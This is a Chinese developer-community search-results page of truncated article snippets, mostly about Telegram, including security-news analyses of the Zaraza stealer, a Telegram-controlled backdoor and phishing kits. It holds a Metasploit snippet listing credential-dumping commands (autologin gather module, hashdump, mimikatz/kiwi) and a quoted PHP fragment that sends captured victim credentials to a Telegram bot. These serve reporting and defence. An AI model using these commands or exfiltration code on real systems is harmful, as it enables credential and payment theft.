文档建议反馈控制台
首页
学习
活动
专区
圈层
工具
MCP广场
文章/答案/技术大牛
发布
    • 您找到你想要的搜索结果了吗？
    是的
    没有找到

    工具的使用|MSF中获取用户密码

    目录 获取用户密码 抓取自动登录的密码 导出密码哈希 上传mimikatz程序 加载kiwi模块 加载mimikatz模块 获取用户密码 抓取自动登录的密码 1：很多用户习惯将计算机设置自动登录，可以使用...run windows/gather/credentials/windows_autologin 抓取自动登录的用户名和密码 导出密码哈希 2：hashdump 模块可以从SAM数据库中导出本地用户账号...该功能更强大，如果当前用户是域管理员用户，则可以导出域内所有用户的hash 上传mimikatz程序 3：我们还可以通过上传mimikatz程序，然后执行mimikatz程序来获取明文密码。...关于该模块的用法： 工具的使用 | MSF中kiwi模块的使用 加载mimikatz模块 5：或者运行MSF里面自带的 mimikatz 模块 ，该模块的使用需要System权限。...传送门：工具的使用|MSF中mimikatz模块的使用。目前该模块已经被kiwi模块代替了。

    3.6K10

    部署你的RSS机器人

    telegram bot api url)(可忽略) allowed_users(允许使用 bot 的用户 telegram id)(可忽略(为空时所有用户都能使用 bot)) 申请 Telegram...author_url 请替换成自己的 查看 Telegram ID | 默认的配置是允许所有用户使用我们刚刚创建的 Telegram RSS Bot，但为了安全、防止被滥用我们可以设置指定 ID 的...Telegram 用户能够使用该 Bot，获取允许使用用户（比如自己）的 Telegram ID 并填入配置文件的 allowed_users 字段 获取 Telegram ID：https://t.me...start=botostore 使用 将 Bot 添加到您的频道中，并设置为管理员，Bot 的管理命令如下： /sub @ChannelID [url] 订阅 /unsub @ChannelID [url...@ChannelID 导出 OPML 文件 /pauseall @ChannelID 暂停所有订阅 然后这样一个机器人就配置好啦，你可以把它拉入你的频道,然后自己配置下 RSS 配置完成后你就可以看到更新文章时你的频道会有提示辣

    1.4K20

    窃取 38 个浏览器凭据的恶意软件 Zaraza

    Zaraza 以大量浏览器为攻击目标，并且在俄语 Telegram 频道中积极宣传。一旦 Zaraza 入侵成功，就会检索失陷主机上的敏感数据并将其通过 Telegram 发送给攻击者。...感染链 Zaraza 会从网络浏览器中提取登录凭据并将其保存在文本文件中。此外，Zaraza 还会以 JPG 格式捕获失陷主机的活动窗口截图。所有被窃数据都会被回传给攻击者，供攻击者选择使用。...Zaraza 样本文件 执行后 Zaraza 会获取失陷主机的用户名，并在 Temp 目录中使用该名称创建子文件夹。 文件创建代码 接下来，样本会在子文件夹中创建名为 output.txt 文件。...浏览器列表 如下为样本中各个浏览器的用户数据文件夹路径： 浏览器用户数据文件夹路径 浏览器使用的 SQLite 数据库中包含各种网站的登录信息，字段如下所示： origin_url：网站的主要链接 action_url...C:\Users\用户名>\AppData\Local\Temp\\用户名>\Screen.jpg（向右滑动，查看更多） 攻击者通过 Telegram 频道来传递窃取数据： Telegram

    1K10

    MySQL中修改一个数据库下包含有某个相同字段的所有表的字段长度

    背景 由于业务场景导致某个字段如phone_name涉及到表比较多，目前很多表都有冗余这个字段，但是前期给的字段长度只有varchar(100)，不满足目前的需要了，需要把所有的表的字段长度都增大到varchar...(255)，如果手动一个个修改的话，那么有几百张表，很花时间，所有想到如下办法，以做备忘。...方案 修改这些表中此字段为必填的DDL语句 SELECT concat("ALTER TABLE `",table_name,"` MODIFY COLUMN `phone_name` varchar...db_lingyejun' and column_name='phone_name' and character_maximum_length < 255 and is_nullable = 'NO'; 修改这些表中此字段可为空的...column_name='phone_name' and character_maximum_length < 255 and is_nullable = 'YES'; 本篇文章如有帮助到您，请给「翎野君」点个赞，感谢您的支持

    1.3K10

    【Python】元组 tuple ② ( 元组常用操作 | 使用下标索引取出元组中的元素 | 查找某个元素对应的下标索引 | 统计某个元素个数 | 统计所有元素个数 )

    一、元组常用操作 1、使用下标索引取出元组中的元素 - [下标索引] 使用下标索引取出 元组 tuple 中的元素 的方式 , 与 列表 List 相同 , 也是将 下标索引 写到中括号中 访问指定位置的元素..., 语法如下 : 元素变量 = 元组变量[下标索引] 如果是嵌套元组 , 则使用两个 中括号 进行访问 ; 元素变量 = 元组变量[下标索引1][下标索引2] 代码示例 : """ 元组 tuple...: Jerry 16 2、查找某个元素对应的下标索引 - index 函数 调用 tuple#index 函数 , 可以查找 元组 中指定元素 对应的下标索引 ; 函数原型如下 : def index...index = t0.index(18) # 打印查询结果 print(index) 执行结果 : 2 3、统计某个元素的个数 - count 函数 调用 tuple#count函数 , 可以统计...- len 函数 调用 len(元组变量) 函数 , 可以统计 元组 所有元素 的个数 ; 函数原型如下 : def len(*args, **kwargs): # real signature unknown

    3.6K20

    一封“域名续费”邮件，竟让WordPress站长银行卡被掏空——新型钓鱼攻击借Telegram实时收割支付信息

    这些敏感数据并未存入某个远程数据库，而是实时推送至一个加密的Telegram频道，由攻击者即时用于多笔跨境交易。这并非孤例。...第二阶段：高保真仿冒支付页面，复刻用户体验点击邮件中的“续费”链接后，用户会被导向一个看似来自WordPress.com或知名注册商（如GoDaddy、Namecheap）的支付页面。...攻击者在后端使用Python或Node.js脚本，将收集到的数据通过Telegram Bot API实时推送至私有频道：# 攻击者服务器后端（Python + python-telegram-bot）import...据Gawande监测，仅2025年12月，就有超过120个此类Telegram频道活跃，每个频道平均每日接收30–50条支付凭证信息。...对于SaaS平台或建站服务商，应避免设计可能被仿冒的交互模式：所有支付操作应在主域名下完成（如payments.wordpress.com），而非第三方跳转；不在邮件中嵌入“立即支付”按钮，仅提供账单查看链接

    22310

    还不知道用OpenClaw做什么，看看这些实际案例和教程：提升效率、研究学习、新闻摘要、金融交易

    这个工作流程会帮助您建一个可搜索的知识库： 将任何 URL 拖放到 Telegram 或 Slack 中，即可自动导入内容（文章、推文、YouTube 文字稿、PDF）。...对您保存的所有内容进行语义搜索：“我保存了哪些关于智能体记忆的内容？” 返回带有来源的排名结果。 可与其他工作流程集成——例如，视频创意流程在构建研究卡片时会查询知识库以获取相关的已保存内容。...技能 知识库技能（或构建带有嵌入式功能的自定义 RAG） web_fetch（内置） 用于保存内容的 Telegram 主题或 Slack 频道 如何设置 从 ClawdHub 安装知识库技能。...创建一个名为“知识库”的 Telegram 主题（或使用 Slack 频道）。...家庭日历和家务助手：将所有家庭成员的日程汇总到晨间简报中，监控预约信息，并管理家庭物品清单。

    1.2K21

    微软、英伟达等多家企业源代码被偷，“带头大哥”居然是未成年人？

    泄露的源代码项目 在最新发布的一篇博文中，微软证实受到 Lapsus$ 黑客组织的敲诈，该组织入侵了微软的某个员工的账户，“有限访问”了项目源代码存储库。...但 Lapsus$ 在 Telegram 中写道，事实上他们对 Okta 的系统进行了数个月的访问，还发布了内部系统的屏幕截图，显示入侵账户为超级用户，能够修改和访问客户帐户。...因为前文招聘信息截图中出现的“WhiteDoxbin/Oklaqq”似乎正是 Lapsus 团伙的领导者，而且曾在多个 Telegram 频道中使用过多种昵称。...但 Telegram 有一项功能，会将同一账户下的所有昵称划归相同的 Telegram ID，因此可以看出这背后指向的都是同一个人。...根据 Doxbin 用户们的说法，WhiteDoxbin 的钱来自买卖零日漏洞——也就是各类流行软件与硬件中存在的、但连开发商都没有察觉的安全漏洞。

    1.6K20

    黑客利用 Telegram API 传播新的 Golang 后门

    通过在初始化函数中执行这一过程，确保恶意软件从预设位置运行。研究人员使用 Detect It Easy 工具检测发现，该恶意软件在执行过程中呈现出典型的后门特征。...Telegram 聊天窗口以获取新指令。...“/screenshot” 指令虽未完全开发完成，但仍会向 Telegram 频道发送 “Screenshot captured” 的消息。...所有指令的执行结果都会通过 “sendEncrypted” 函数回传至 Telegram 频道。这种恶意利用云应用程序的行为给网络安全防御工作带来了巨大挑战。...一方面，攻击者无需搭建复杂的基础设施，降低了攻击成本；另一方面，从防御者角度出发，很难区分正常的 API 用户请求和恶意的 C2 通信。”

    57310

    Telegram机器人在欧洲凭证钓鱼中的协同机制与防御路径

    研究发现，攻击者通过将前端钓鱼页面与后端Telegram Bot解耦，显著提升了运营弹性与响应速度；同时利用Telegram频道的广播特性，实现“一对多”指令同步。...Telegram Bot API的开放性为此类攻击提供了技术基础。任何开发者均可注册Bot并获取唯一token，通过简单HTTP请求实现消息收发。...Bot后端通常为Python脚本，使用python-telegram-bot库：from telegram import Updatefrom telegram.ext import Application...，URL看似合法；凭证提交：用户输入账号密码，数据秒级推送至Telegram频道；实时响应：攻击者看到消息后，立即在Telegram输入/verify user@company.de；MFA绕过：系统生成伪造的...6 结论Telegram机器人在欧洲凭证钓鱼中的应用，标志着攻击模式从“静态投递”向“动态交互”的演进。其通过Bot API实现数据实时回传与操作指令下发，显著缩短攻击窗口并提升成功率。

    32210

    精准围猎：新型钓鱼工具包专攻意大利，本地化伪装成网络犯罪新范式

    一旦攻击者获取某用户的 SPID 账号密码，便等同于掌握了其访问税务、社保、医疗、银行乃至企业注册系统的“万能钥匙”。...）；伪造登录页：点击邮件中的链接后，用户被导向一个与官方 SPID 登录页几乎无法区分的钓鱼站点。...php// 获取访客IP$ip = $_SERVER['REMOTE_ADDR'];// 调用免费IP地理API（实际攻击中可能使用本地数据库）$geo = json_decode(file_get_contents...六、用户与组织防御指南给意大利用户（及在意企业）的建议：永远手动输入官网地址：不要点击邮件中的任何链接。...给中国相关单位的启示：政务系统禁用外部链接跳转：所有身份认证流程应在官方 App 或浏览器内完成，避免通过邮件/短信引导至 Web 页面；实施“零信任”访问控制：即使用户通过数字身份登录，也应基于设备、

    14210

    Telegram基础设施在钓鱼攻击中的滥用机制与防御对策研究

    典型攻击流程表现为：攻击者首先在Telegram公开频道发布伪装成“加密货币空投”、“NFT白名单资格”或“专业软件破解版”的诱导信息，附带短链接或自定义预览图以提升点击率；用户点击后跳转至高度仿真的登录门户...（常模仿MetaMask、Coinbase或企业SSO界面）；在用户输入凭据过程中，前端JavaScript脚本实时捕获表单数据并通过Telegram Bot API发送至攻击者控制的私有频道；部分高级变种甚至直接在...此类攻击的核心挑战在于其“合法性掩护”：所有通信均经由telegram.org域名完成，符合SPF/DKIM/DMARC标准；Bot API调用使用HTTPS加密；消息支持自毁与私聊加密，极大增加取证难度...更重要的是，传统安全设备难以区分正常用户使用Telegram与恶意Bot数据回传之间的流量差异。...防御的关键在于“上下文感知”：同一api.telegram.org请求，在普通用户聊天中属正常，在财务人员终端上伴随密码字段输入则高度可疑。因此，安全架构必须融合身份、设备、行为与内容四维上下文。

    47110

    Telegram小程序钓鱼攻击机制与防御策略研究

    其核心交互依赖于Telegram提供的JavaScript SDK（@twa-dev/sdk），该SDK封装了与原生客户端通信的接口，如获取用户信息、触发支付、分享内容等。...关键伪造点包括：使用与官方Bot相似的用户名（如@portal_market vs @portals）；在Mini App信息页中填写虚假的“官方频道”链接；模拟Telegram原生加载动画，增强可信度...用户点击后，Telegram调起官方钱包授权弹窗。若用户确认，恶意脚本通过监听tonConnect.onStatusChange事件获取连接状态，并在后续交易请求中替换收款地址。..."Processing..." : "Claim Now"})});}该代码的关键欺骗点在于：使用@tonconnect/ui-react官方库渲染连接按钮，使用户误以为应用合法...(5.1) 用户行为规范验证来源：仅通过官方频道（带蓝色认证徽章）获取Mini App链接。

    44110

    钓鱼团伙用Telegram机器人“接单”：欧洲凭证窃取进入“实时客服”时代

    阶段2：数据捕获钓鱼页面表单提交后，数据不直接存入数据库，而是通过后端脚本（如PHP或Node.js）调用Telegram Bot API，将信息推送至私有频道：// phishing-handler.php...chat_id={$chat_id}&text=" . urlencode($message));此代码虽简单，但效果显著：所有受害者数据实时呈现在操作员的Telegram聊天窗口中，无需登录服务器后台...事后分析发现，攻击者使用的Telegram机器人名为 @CloudGrabber_Bot，其频道中同时监控着来自12个国家的 87个活跃钓鱼站点，平均每15分钟就有一次新凭证捕获。...网络层：封禁高风险Telegram基础设施在防火墙或代理中，基于威胁情报封禁已知与钓鱼相关的Telegram Bot Token、Channel ID对应的IP段；使用DNS过滤服务（如Cisco Umbrella...应用层：部署数据外泄监测（DLP）增强规则监控Web应用日志中向Telegram API发起的请求，尤其是包含 sendMessage、sendDocument 等关键词的POST；对内部系统设置出站流量基线

    32410

    TG 网盘机器人

    虽然这多少有违一款聊天软件的初衷，但事实现状就是当下很多 TG 频道、群组被作为文件共享服务而使用。于是最终便有了这个项目，这个机器人能够像常规的网盘一样使用：上传一个文件，获得一个（特殊）链接。...如果提取成功，再使用资源索引进行数据库索引。如没有匹配不返回任何内容，如匹配成功则进一步比对密钥。 如果用户所提交的密钥与主密钥相同，返回对应的媒体并进行计数。...机器人收到 /s 命令时，通过当前用户 id 和搜索关键词在数据库中检索符合的记录。记录不为空时，返回对应的分享链接。...4.运行截图 5.后记 Pyrogram 好久不更新了，PR 也没人处理，TG-PY 库还是优先考虑 Telethon 吧。...关于一次性密钥：因为是2个协程并发处理取回请求，可能会出现一次性密钥被两个用户同时获取的情况。不是什么严重 bugs，懒得改了。

    2.5K10

    面向意大利公共服务的新型钓鱼工具包分析与防御机制研究

    Webmail登录页面窃取用户凭证，并利用Telegram Bot实现自动化数据回传。...三、钓鱼工具包技术分析3.1 样本获取与环境搭建研究人员通过监控暗网论坛及Telegram频道，获取了该工具包的压缩包（SHA-256: a1b2c3...）。...>geo_filter.php 使用MaxMind GeoLite2数据库判断IP归属地：function is_italian_ip($ip) {if ($ip === '127.0.0.1') return...，且支持端到端加密频道，极大降低取证难度。...企业亦应实施最小权限原则，限制Aruba账户的API访问范围。六、结语本文通过对一款针对意大利Aruba用户的钓鱼工具包进行逆向分析，揭示了其前端仿冒、地理过滤、Telegram外传等关键技术特征。

    25810

    DeepDarkCTI：深网与暗网网络威胁情报资源大全

    DeepDarkCTI 是一个专门收集深网和暗网中网络威胁情报（CTI）资源的开源项目。...该项目旨在为网络安全专业人员、威胁情报分析师和研究人员提供一个全面的资源库，包含勒索软件站点、漏洞数据库、黑客论坛、市场平台和Telegram威胁频道等600多个资源链接。...所有资源都经过分类和状态标记（在线/离线），并配有详细描述，帮助用户快速定位所需的威胁情报源。...0DAY.TODAY、Exploit DB等） 黑客论坛和社区（BreachForums、BlackHatWorld等） 暗网市场平台（AlphaBay、Bohemia等） Telegram威胁频道（恶意软件日志...、DDoS组织等） 搜索引擎和监控工具（DarkFail、RansomLook等） 实用方法指南：提供深网搜索技巧、文件下载方法和邀请链接搜索方法 多语言支持：资源涵盖国际化的威胁情报来源 使用说明

    67710
    点击加载更多

    相关资讯

    热门标签

    更多标签

    活动推荐

      运营活动

      活动名称
      广告关闭

      腾讯云开发者

      扫码关注腾讯云开发者

      扫码关注腾讯云开发者

      领取腾讯云代金券

      热门产品

      热门推荐

      更多推荐

      Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有

      深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 粤公网安备44030502008569号

      腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号

      领券